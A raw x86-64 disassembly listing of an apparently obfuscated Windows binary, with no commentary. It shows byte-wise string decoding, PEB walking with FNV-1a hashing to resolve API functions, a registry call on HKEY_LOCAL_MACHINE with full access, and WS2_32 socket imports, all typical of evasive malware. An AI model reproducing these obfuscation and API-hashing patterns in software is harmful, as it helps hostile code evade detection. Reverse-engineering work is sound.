cmp rdi, rax
jb 0x14012717e
lea rax, [r10 + 6]
cmp rdi, rax
jb 0x14012712f
lea rax, [r10 + 0xa]
cmp rdi, rax
jb 0x140127105
lea rax, [r10 + 0x28]
cmp rdi, rax
jb 0x140126de5
lea rdi, [r10 + 0x3e8]
lea r10, [rdi + 0x64]
lea rax, [r10 + 0x61]
cmp rdi, rax
ja 0x1401270f1
lea rax, [r10 + 0x5a]
cmp rdi, rax
ja 0x1401270cf
lea rax, [r10 + 0x20]
cmp rdi, rax
ja 0x1401270ad
lea rax, [r10 + 0x42]
cmp rdi, rax
ja 0x140127099
lea rax, [r10 + 0x200]
cmp rdi, rax
ja 0x140127077
lea rax, [r10 + 4]
cmp rdi, rax
ja 0x140127063
lea rax, [r10 + 8]
cmp rdi, rax
ja 0x140127041
lea rax, [r10 + 0x10]
cmp rdi, rax
ja 0x14012701f
lea rax, [r10 + 0x40]
cmp rdi, rax
ja 0x14012700b
lea rax, [r10 + 0x2a]
cmp rdi, rax
ja 0x140126de5
lea rdi, [r10 + 0x7a]
lea r10, [rdi + 3]
jmp 0x140126de5
movabs rdx, 0xcf7914021ebc2eaa
mov ecx, reloc.WLDAP32.dll_Ordinal_45
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x140126dd8
movabs rcx, 0x84a9100974daa02e
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x42
jmp 0x140126d71
movabs rdx, 0x39d90c10caf911b2
add rdx, r9
mov al, dl
and al, r8b
mov ecx, reloc.WS2_32.dll_recvfrom
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x140126cf5
movabs rdx, 0x8c414d97be02c0b0
mov ecx, Ordinal_27
jmp 0x140127668
movabs rcx, 0x4171499f14213234
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x6c
jmp 0x1401276c1
movabs rcx, 0xf6a145a66a3fa3b8
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 8
jmp 0x1401276c4
movabs rdx, 0xabd141adc05e153c
mov ecx, reloc.WLDAP32.dll_Ordinal_46
jmp 0x140127479
movabs rcx, 0x61013db5167c86c0
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x40
jmp 0x140127713
movabs rdx, 0x163139bc6c9af844
mov ecx, reloc.WS2_32.dll_select
jmp 0x1401275fb
movabs rcx, 0xcb6135c3c2b969c8
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x78
jmp 0x140127766
movabs rcx, 0x809131cb18d7db4c
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x14
jmp 0x140127796
movabs rdx, 0x35c12dd26ef64cd0
mov ecx, Ordinal_41
jmp 0x14012723f
movabs rcx, 0xfab923e4c642689a
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x36
mov byte [rbp + r9 + 0x590], bl
jmp 0x1401277f5
movabs rdx, 0xafe91fec1c60da1e
add rdx, r9
mov al, dl
and al, r8b
mov ecx, reloc.WS2_32.dll_socket
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
cmp r10, 9
jb 0x140127122
movabs rcx, 0xe770ca89d7ef62b4
add rcx, r9
mov al, cl
and al, r8b
mov edx, 0xa
sub dl, al
add dl, dl
add dl, cl
add dl, r8b
lea ebx, [rdx + rdx]
jmp 0x140127699
movabs rcx, 0x65191bf3727f4ba2
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x6e
cmp rdi, 0x1000
jae 0x140127576
lea rax, [r10 + 1]
cmp rdi, rax
jbe 0x1401274be
movabs rcx, 0xfb50a2d3351fd1dc
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 4
jmp 0x140127150
movabs rcx, 0x1a4917fac89dbd26
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0xa
lea rax, [r10 + rdi]
cmp rax, r12
je 0x1401275a1
lea rax, [r10 + 0x40]
cmp rdi, rax
jbe 0x140127419
movabs rcx, 0x69c879203d5f79c6
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x6a
jmp 0x14012719b
movabs rdx, 0x6930fa31ce821084
mov ecx, reloc.WLDAP32.dll_Ordinal_50
add rdx, r9
mov al, dl
and al, r8b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x1401277e6
movabs rcx, 0x1e60f63924a08208
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x38
jmp 0x140127796
movabs rdx, 0xd390f2407abef38c
mov ecx, reloc.WLDAP32.dll_Ordinal_22
add rdx, r9
mov al, dl
and al, r8b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
jmp 0x140127763
movabs rcx, 0x88c0ee47d0dd6510
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x70
jmp 0x140127733
movabs rcx, 0x3df0ea4f26fbd694
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0xc
jmp 0x140127713
movabs rdx, 0xf320e6567d1a4818
mov ecx, Ordinal_46
jmp 0x140127479
movabs rcx, 0xa850e25dd338b99c
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x44
jmp 0x1401276c4
movabs rdx, 0x5d80de6529572b20
add rdx, r9
mov al, dl
and al, r8b
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x1401276c1
movabs rdx, 0x12b0da6c7f759ca4
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x7c
add bl, dl
jmp 0x140127699
lea rax, [r10 + 6]
cmp rdi, rax
jae 0x140127385
lea rdx, [r9 + r11]
mov al, dl
and al, r8b
mov ecx, Ordinal_41
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x1401271f4
lea rax, [r10 + 1]
cmp rdi, rax
jne 0x1401273b0
movabs rcx, 0x23105365ef80b02c
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x34
jmp 0x1401277e6
lea rax, [r10 + 3]
cmp rdi, rax
jne 0x1401273cd
movabs rdx, 0xb8b05b574343cd24
mov ecx, 2
jmp 0x140127287
lea rax, [r10 + 2]
cmp rdi, rax
jne 0x1401273f8
movabs rcx, 0x3805f4fed255ba0
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x60
jmp 0x140127733
lea rax, [r10 + 5]
cmp rdi, rax
jne 0x1401271f4
movabs rdx, 0x4e5063489706ea1c
mov ecx, reloc.WLDAP32.dll_Ordinal_30
jmp 0x140127621
lea rax, [r10 + 1]
cmp rdi, rax
jne 0x140127436
movabs rdx, 0xb4987d18e7410842
mov ecx, Ordinal_27
jmp 0x140127668
lea rax, [r10 + 2]
cmp rdi, rax
jne 0x140127461
movabs rcx, 0xff688111912296be
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x32
jmp 0x1401276c1
lea rax, [r10 + 3]
cmp rdi, rax
jne 0x14012748b
movabs rdx, 0x95088902e4e5b3b6
mov ecx, 3
add rdx, r9
mov al, dl
and al, r8b
sub cl, al
lea ebx, [rcx + rcx]
jmp 0x140127597
lea rax, [r10 + 9]
cmp rdi, rax
jne 0x14012719b
movabs rdx, 0xb189cde364d7c22
add rdx, r9
mov al, r8b
and al, dl
mov ecx, 9
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x1401277e6
jne 0x1401274e2
movabs rcx, 0x4620a6cbdf016058
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x68
jmp 0x1401277e6
lea rax, [r10 + 2]
cmp rdi, rax
jne 0x14012750d
movabs rcx, 0xdbc0aebd32c47d50
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x30
jmp 0x140127766
lea rax, [r10 + 3]
cmp rdi, rax
jne 0x14012752a
movabs rdx, 0x2690b2b5dca60bcc
mov ecx, gethostname
jmp 0x1401275fb
lea rax, [r10 + 5]
cmp rdi, rax
jne 0x140127555
movabs rcx, 0xbc30baa7306928c4
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x5c
jmp 0x1401276ea
lea rax, [r10 + 8]
cmp rdi, rax
jne 0x140127150
movabs rdx, 0x9ca0c6912e0dd438
mov ecx, reloc.WLDAP32.dll_Ordinal_60
jmp 0x140127668
movabs rdx, 0x3240ce8281d0f130
add rdx, r9
mov al, dl
and al, r8b
add al, al
mov bl, byte [rbp + r9 + 0x590]
sub bl, al
sub bl, 0x50
add bl, dl
add bl, r8b
jmp 0x1401276ea
movabs rdx, 0x7d10d27b2bb27fac
add rdx, r9
mov al, dl
and al, r8b
mov ecx, Ordinal_41
sub cl, al
lea ebx, [rcx + rcx]
sub bl, byte [rbp + r9 + 0x590]
jmp 0x140127294
movabs rcx, 0x9d38457f9ceb3d7a
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x56
jmp 0x140127766
movabs rdx, 0x52684186f309aefe
mov ecx, 7
add rdx, r9
mov al, dl
and al, r8b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x140127733
movabs rdx, 0x7983d8e49282082
mov ecx, reloc.WS2_32.dll_gethostname
add rdx, r9
mov al, dl
and al, r8b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x140127713
movabs rdx, 0x71f8359cf565038a
add rdx, r9
mov al, r8b
and al, dl
mov ecx, Ordinal_32
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x1401276c4
movabs rdx, 0xdc582daba1a1e692
mov ecx, r15d
add rdx, r9
mov al, dl
and al, r8b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x140127699
movabs rcx, 0x46b825ba4ddec99a
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x36
movabs rdx, 0x8cd8cc862ce029f2
add rdx, r9
mov al, r8b
and al, dl
mov ecx, Ordinal_50
sub cl, al
add cl, cl
add cl, r8b
add cl, dl
mov byte [rbp + r9 + 0x590], cl
add r10, r15
sub r9, r15
jmp 0x1401277f5
movabs rdx, 0x664819d0503a1e26
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0xa
add bl, dl
movabs rcx, 0xd7a8d07ed6c1b86e
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
sub r8b, 2
add r8b, cl
add r8b, bl
mov byte [rbp + r9 + 0x590], r8b
add rdi, r10
jmp 0x140127733
movabs rcx, 0xd0a811defc77012e
add rcx, r9
mov al, cl
and al, dl
add al, al
sub cl, al
lea ebx, [rdx + rcx]
sub bl, 0x42
movzx eax, bl
or rcx, 0xffffffffffffffff
sub rcx, rax
add r9, rcx
jmp 0x1401277f5
mov r8, rdx
movabs rcx, 0x85d80de6529572b2
add rcx, r9
and dl, cl
mov eax, reloc.WS2_32.dll_recvfrom
sub al, dl
lea ebx, [rax + rax]
add bl, cl
add bl, r8b
movabs rcx, 0x2278d47780a346ea
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
sub cl, 0x66
add cl, r8b
movzx eax, cl
mov byte [rbp + r9 + 0x590], al
add r10, r15
add rax, r10
sub r9, rax
movabs rcx, 0xc7e0d673d5940e28
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
sub r8b, 0x18
add r8b, cl
mov byte [rbp + r9 + 0x590], r8b
add rdi, r15
or rax, 0xffffffffffffffff
sub rax, rdi
add r9, rax
jmp 0x1401277e6
movabs rcx, 0xf03805f4fed255ba
add rcx, r9
mov al, dl
and al, cl
add al, al
sub dl, al
lea ebx, [rcx + rdx]
sub bl, 0x16
movzx eax, byte [rbp + r9 + 0x590]
add rax, r10
add r9, rax
add r9, r15
jmp 0x140126ce2
movabs rcx, 0xef09081821178336
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x7a
jmp 0x140126cdf
movabs rcx, 0xa439041f7735f4ba
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x16
jmp 0x140126ccf
lea r12, [rbp + 0x145e338]
jmp 0x14012785a
lea r12, [rbp + 0x136aa76]
jmp 0x14012785a
lea r12, [rbp + 0x590]
mov r10, qword [0x1404fc178]
test r10, r10
jne 0x1401279c8
xor esi, esi
mov r14d, r13d
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rdi, qword [rax]
mov r15, rdi
movups xmm0, xmmword [rdi + 0x58]
movups xmmword [rsp + 0x60], xmm0
movd eax, xmm0
sub ax, 8
mov word [rsp + 0x60], ax
test esi, esi
je 0x1401278d6
mov rcx, qword [rsp + 0x68]
movzx eax, ax
shr rax, 1
lea rdx, [rcx + rax*2]
mov r8d, 0x811c9dc5
jmp 0x1401278c8
movsx eax, byte [rcx]
xor eax, r8d
imul r8d, eax, 0x1000193
add rcx, 2
cmp rcx, rdx
jne 0x1401278b7
cmp r8d, esi
jne 0x1401279a5
mov rbx, qword [rdi + 0x30]
movsxd rax, dword [rbx + 0x3c]
mov rax, qword [rax + rbx + 0x88]
mov r11d, eax
add r11, rbx
shr rax, 0x20
cmp r11, rbx
je 0x1401279a5
mov r9d, dword [r11 + 0x18]
test r9d, r9d
je 0x1401279a5
mov r10d, dword [r11 + 0x20]
dec r9d
lea rdx, [r10 + r9*4]
mov r8d, dword [rdx + rbx]
add r8, rbx
mov edx, 0x811c9dc5
jmp 0x14012792a
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
inc r8
test cl, cl
jne 0x14012791f
cmp edx, r14d
je 0x140127940
test r9d, r9d
jne 0x14012790a
jmp 0x1401279a5
mov r8d, dword [r11 + 0x1c]
add r8, rbx
mov edx, dword [r11 + 0x24]
add rdx, rbx
movzx edx, word [rdx + r9*2]
mov r10d, dword [r8 + rdx*4]
add r10, rbx
cmp r10, r11
jbe 0x1401279bb
lea rcx, [rax + r11]
cmp r10, rcx
jae 0x1401279bb
mov eax, 0x811c9dc5
mov esi, eax
mov r14d, eax
jmp 0x140127982
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
inc r10
mov al, byte [r10]
cmp al, 0x2e
jne 0x140127974
jmp 0x140127998
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
inc r10
mov al, byte [r10]
test al, al
jne 0x14012798b
mov rdi, qword [r15]
mov rdi, qword [rdi]
cmp rdi, r15
je 0x1401279b8
cmp qword [rdi + 0x30], 0
jne 0x140127886
xor r10d, r10d
mov qword [0x1404fc178], r10
mov r15d, 1
and qword [rsp + 0x40], 0
lea rax, [0x1404fba68]
mov qword [rsp + 0x38], rax
and qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0xf003f
and dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
mov rdx, r12
mov rcx, 0xffffffff80000002
call r10
mov rdx, qword [0x1404fc118]
test rdx, rdx
jne 0x140127b6e
xor esi, esi
mov r14d, 0xcded1a85
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rcx, qword [rcx + 0x10]
lea r13d, [rdx + 8]
movups xmm0, xmmword [rcx + 0x58]
movups xmmword [rsp + 0x60], xmm0
movd eax, xmm0
sub ax, r13w
mov word [rsp + 0x60], ax
mov r12d, 0x811c9dc5
test esi, esi
je 0x140127a80
mov rdx, qword [rsp + 0x68]
movzx eax, ax
shr rax, 1
lea r8, [rdx + rax*2]
mov r9d, r12d
jmp 0x140127a72
movsx eax, byte [rdx]
xor eax, r9d
imul r9d, eax, 0x1000193
add rdx, 2
cmp rdx, r8
jne 0x140127a61
cmp r9d, esi
jne 0x140127b57
mov rdi, qword [rcx + 0x30]
movsxd rax, dword [rdi + 0x3c]
mov rax, qword [rax + rdi + 0x88]
mov r11d, eax
add r11, rdi
shr rax, 0x20
cmp r11, rdi
je 0x140127b57
mov r10d, dword [r11 + 0x18]
test r10d, r10d
je 0x140127b57
mov ebx, dword [r11 + 0x20]
dec r10d
lea r8, [rbx + r10*4]
mov r9d, dword [r8 + rdi]
add r9, rdi
mov r8d, r12d
jmp 0x140127ad4
movsx edx, dl
xor edx, r8d
imul r8d, edx, 0x1000193
mov dl, byte [r9]
add r9, r15
test dl, dl
jne 0x140127ac7
cmp r8d, r14d
je 0x140127aea
test r10d, r10d
jne 0x140127ab4
jmp 0x140127b57
mov r8d, dword [r11 + 0x1c]
add r8, rdi
mov edx, dword [r11 + 0x24]
add rdx, rdi
movzx edx, word [rdx + r10*2]
mov edx, dword [r8 + rdx*4]
add rdx, rdi
cmp rdx, r11
jbe 0x140127b5f
lea rcx, [r11 + rax]
cmp rdx, rcx
jae 0x140127b5f
mov esi, r12d
mov r14d, r12d
jmp 0x140127b28
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
add rdx, r15
mov al, byte [rdx]
cmp al, 0x2e
jne 0x140127b1a
jmp 0x140127b3d
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
add rdx, r15
mov al, byte [rdx]
test al, al
jne 0x140127b30
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rcx, qword [rcx + 0x10]
mov rcx, qword [rcx]
jmp 0x140127a2d
mov qword [0x1404fc118], rdx
mov r13d, 0xeced0b92
jmp 0x140127b74
mov r12d, 0x811c9dc5
mov ecx, 0x99
call rdx
mov rbx, qword [0x1404fc158]
test rbx, rbx
jne 0x140127cda
xor esi, esi
mov r14d, 0xf84eee59
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rbx, qword [rax]
mov r15, rbx
movups xmm0, xmmword [rbx + 0x58]
movups xmmword [rsp + 0x60], xmm0
movd eax, xmm0
sub ax, 8
mov word [rsp + 0x60], ax
test esi, esi
je 0x140127bf7
mov rcx, qword [rsp + 0x68]
movzx eax, ax
shr rax, 1
lea rdx, [rcx + rax*2]
mov r8d, r12d
jmp 0x140127be9
movsx eax, byte [rcx]
xor eax, r8d
imul r8d, eax, 0x1000193
add rcx, 2
cmp rcx, rdx
jne 0x140127bd8
cmp r8d, esi
jne 0x140127cbe
mov rdi, qword [rbx + 0x30]
movsxd rax, dword [rdi + 0x3c]
mov rax, qword [rax + rdi + 0x88]
mov r10d, eax
add r10, rdi
shr rax, 0x20
cmp r10, rdi
je 0x140127cbe
mov r9d, dword [r10 + 0x18]
test r9d, r9d
je 0x140127cbe
mov r11d, dword [r10 + 0x20]
dec r9d
lea rdx, [rdi + r9*4]
mov r8d, dword [rdx + r11]
add r8, rdi
mov edx, r12d
jmp 0x140127c49
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
inc r8
test cl, cl
jne 0x140127c3e
cmp edx, r14d
je 0x140127c5f
test r9d, r9d
jne 0x140127c2b
jmp 0x140127cbe
mov r8d, dword [r10 + 0x1c]
add r8, rdi
mov edx, dword [r10 + 0x24]
add rdx, rdi
movzx edx, word [rdx + r9*2]
mov ebx, dword [r8 + rdx*4]
add rbx, rdi
cmp rbx, r10
jbe 0x140127cd3
lea rcx, [rax + r10]
cmp rbx, rcx
jae 0x140127cd3
mov esi, r12d
mov r14d, r12d
jmp 0x140127c9d
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
inc rbx
mov al, byte [rbx]
cmp al, 0x2e
jne 0x140127c8f
jmp 0x140127cb2
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
inc rbx
mov al, byte [rbx]
test al, al
jne 0x140127ca5
mov rbx, qword [r15]
mov rbx, qword [rbx]
cmp rbx, r15
je 0x140127cd1
cmp qword [rbx + 0x30], 0
jne 0x140127baa
xor ebx, ebx
mov qword [0x1404fc158], rbx
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
xor edx, edx
mov rcx, rax
call rbx
mov rdx, qword [0x1404fc150]
test rdx, rdx
jne 0x140127e46
xor esi, esi
mov r14d, 0xb3002016
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rdi, qword [rax]
mov r15, rdi
movups xmm0, xmmword [rdi + 0x58]
movups xmmword [rsp + 0x60], xmm0
movd eax, xmm0
sub ax, 8
mov word [rsp + 0x60], ax
test esi, esi
je 0x140127d63
mov rcx, qword [rsp + 0x68]
movzx eax, ax
shr rax, 1
lea rdx, [rcx + rax*2]
mov r8d, r12d
jmp 0x140127d55
movsx eax, byte [rcx]
xor eax, r8d
imul r8d, eax, 0x1000193
add rcx, 2
cmp rcx, rdx
jne 0x140127d44
cmp r8d, esi
jne 0x140127e2a
mov rbx, qword [rdi + 0x30]
movsxd rax, dword [rbx + 0x3c]
mov rax, qword [rax + rbx + 0x88]
mov r10d, eax
add r10, rbx
shr rax, 0x20
cmp r10, rbx
je 0x140127e2a
mov r9d, dword [r10 + 0x18]
test r9d, r9d
je 0x140127e2a
mov r11d, dword [r10 + 0x20]
dec r9d
lea rdx, [rbx + r9*4]
mov r8d, dword [rdx + r11]
add r8, rbx
mov edx, r12d
jmp 0x140127db5
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
inc r8
test cl, cl
jne 0x140127daa
cmp edx, r14d
je 0x140127dcb
test r9d, r9d
jne 0x140127d97
jmp 0x140127e2a
mov r8d, dword [r10 + 0x1c]
add r8, rbx
mov edx, dword [r10 + 0x24]
add rdx, rbx
movzx edx, word [rdx + r9*2]
mov edx, dword [r8 + rdx*4]
add rdx, rbx
cmp rdx, r10
jbe 0x140127e3f
lea rcx, [rax + r10]
cmp rdx, rcx
jae 0x140127e3f
mov esi, r12d
mov r14d, r12d
jmp 0x140127e09
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
inc rdx
mov al, byte [rdx]
cmp al, 0x2e
jne 0x140127dfb
jmp 0x140127e1e
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
inc rdx
mov al, byte [rdx]
test al, al
jne 0x140127e11
mov rdi, qword [r15]
mov rdi, qword [rdi]
cmp rdi, r15
je 0x140127e3d
cmp qword [rdi + 0x30], 0
jne 0x140127d16
xor edx, edx
mov qword [0x1404fc150], rdx
xor ecx, ecx
call rdx
mov rdx, qword [0x1404fc148]
test rdx, rdx
jne 0x140127fa9
xor esi, esi
mov r14d, 0x2fd4df39
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rdi, qword [rax]
mov r15, rdi
movups xmm0, xmmword [rdi + 0x58]
movups xmmword [rsp + 0x60], xmm0
movd eax, xmm0
sub ax, 8
mov word [rsp + 0x60], ax
test esi, esi
je 0x140127ec6
mov rcx, qword [rsp + 0x68]
movzx eax, ax
shr rax, 1
lea rdx, [rcx + rax*2]
mov r8d, r12d
jmp 0x140127eb8
movsx eax, byte [rcx]
xor eax, r8d
imul r8d, eax, 0x1000193
add rcx, 2
cmp rcx, rdx
jne 0x140127ea7
cmp r8d, esi
jne 0x140127f8d
mov rbx, qword [rdi + 0x30]
movsxd rax, dword [rbx + 0x3c]
mov rax, qword [rax + rbx + 0x88]
mov r10d, eax
add r10, rbx
shr rax, 0x20
cmp r10, rbx
je 0x140127f8d
mov r9d, dword [r10 + 0x18]
test r9d, r9d
je 0x140127f8d
mov r11d, dword [r10 + 0x20]
dec r9d
lea rdx, [r11 + r9*4]
mov r8d, dword [rdx + rbx]
add r8, rbx
mov edx, r12d
jmp 0x140127f18
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
inc r8
test cl, cl
jne 0x140127f0d
cmp edx, r14d
je 0x140127f2e
test r9d, r9d
jne 0x140127efa
jmp 0x140127f8d
mov r8d, dword [r10 + 0x1c]
add r8, rbx
mov edx, dword [r10 + 0x24]
add rdx, rbx
movzx edx, word [rdx + r9*2]
mov edx, dword [r8 + rdx*4]
add rdx, rbx
cmp rdx, r10
jbe 0x140127fa2
lea rcx, [rax + r10]
cmp rdx, rcx
jae 0x140127fa2
mov esi, r12d
mov r14d, r12d
jmp 0x140127f6c
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
inc rdx
mov al, byte [rdx]
cmp al, 0x2e
jne 0x140127f5e
jmp 0x140127f81
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
inc rdx
mov al, byte [rdx]
test al, al
jne 0x140127f74
mov rdi, qword [r15]
mov rdi, qword [rdi]
cmp rdi, r15
je 0x140127fa0
cmp qword [rdi + 0x30], 0
jne 0x140127e79
xor edx, edx
mov qword [0x1404fc148], rdx
xor ecx, ecx
call rdx
mov rdx, qword [0x1404fc140]
test rdx, rdx
jne 0x14012810c
xor esi, esi
mov r14d, 0xe80fd3a
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rdi, qword [rax]
mov r15, rdi
movups xmm0, xmmword [rdi + 0x58]
movups xmmword [rsp + 0x60], xmm0
movd eax, xmm0
sub ax, 8
mov word [rsp + 0x60], ax
test esi, esi
je 0x140128029
mov rcx, qword [rsp + 0x68]
movzx eax, ax
shr rax, 1
lea rdx, [rcx + rax*2]
mov r8d, r12d
jmp 0x14012801b
movsx eax, byte [rcx]
xor eax, r8d
imul r8d, eax, 0x1000193
add rcx, 2
cmp rcx, rdx
jne 0x14012800a
cmp r8d, esi
jne 0x1401280f0
mov rbx, qword [rdi + 0x30]
movsxd rax, dword [rbx + 0x3c]
mov rax, qword [rax + rbx + 0x88]
mov r10d, eax
add r10, rbx
shr rax, 0x20
cmp r10, rbx
je 0x1401280f0
mov r9d, dword [r10 + 0x18]
test r9d, r9d
je 0x1401280f0
mov r11d, dword [r10 + 0x20]
dec r9d
lea rdx, [r11 + r9*4]
mov r8d, dword [rdx + rbx]
add r8, rbx
mov edx, r12d
jmp 0x14012807b
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
inc r8
test cl, cl
jne 0x140128070
cmp edx, r14d
je 0x140128091
test r9d, r9d
jne 0x14012805d
jmp 0x1401280f0
mov r8d, dword [r10 + 0x1c]
add r8, rbx
mov edx, dword [r10 + 0x24]
add rdx, rbx
movzx edx, word [rdx + r9*2]
mov edx, dword [r8 + rdx*4]
add rdx, rbx
cmp rdx, r10
jbe 0x140128105
lea rcx, [rax + r10]
cmp rdx, rcx
jae 0x140128105
mov esi, r12d
mov r14d, r12d
jmp 0x1401280cf
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
inc rdx
mov al, byte [rdx]
cmp al, 0x2e
jne 0x1401280c1
jmp 0x1401280e4
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
inc rdx
mov al, byte [rdx]
test al, al
jne 0x1401280d7
mov rdi, qword [r15]
mov rdi, qword [rdi]
cmp rdi, r15
je 0x140128103
cmp qword [rdi + 0x30], 0
jne 0x140127fdc
xor edx, edx
mov qword [0x1404fc140], rdx
xor ecx, ecx
call rdx
cmp qword [0x1404fc138], 0
jne 0x140128270
xor esi, esi
mov r14d, 0xa52bcaf9
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rdi, qword [rax]
mov r15, rdi
movups xmm0, xmmword [rdi + 0x58]
movups xmmword [rsp + 0x60], xmm0
movd eax, xmm0
sub ax, 8
mov word [rsp + 0x60], ax
test esi, esi
je 0x14012818a
mov rcx, qword [rsp + 0x68]
movzx eax, ax
shr rax, 1
lea rdx, [rcx + rax*2]
mov r8d, r12d
jmp 0x14012817c
movsx eax, byte [rcx]
xor eax, r8d
imul r8d, eax, 0x1000193
add rcx, 2
cmp rcx, rdx
jne 0x14012816b
cmp r8d, esi
jne 0x140128253
mov rbx, qword [rdi + 0x30]
movsxd rax, dword [rbx + 0x3c]
mov rax, qword [rax + rbx + 0x88]
mov r10d, eax
add r10, rbx
shr rax, 0x20
cmp r10, rbx
je 0x140128253
mov r9d, dword [r10 + 0x18]
test r9d, r9d
je 0x140128253
mov r11d, dword [r10 + 0x20]
dec r9d
lea rdx, [r11 + r9*4]
mov r8d, dword [rdx + rbx]
add r8, rbx
mov edx, r12d
jmp 0x1401281dc
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
inc r8
test cl, cl
jne 0x1401281d1
cmp edx, r14d
je 0x1401281f2
test r9d, r9d
jne 0x1401281be
jmp 0x140128253
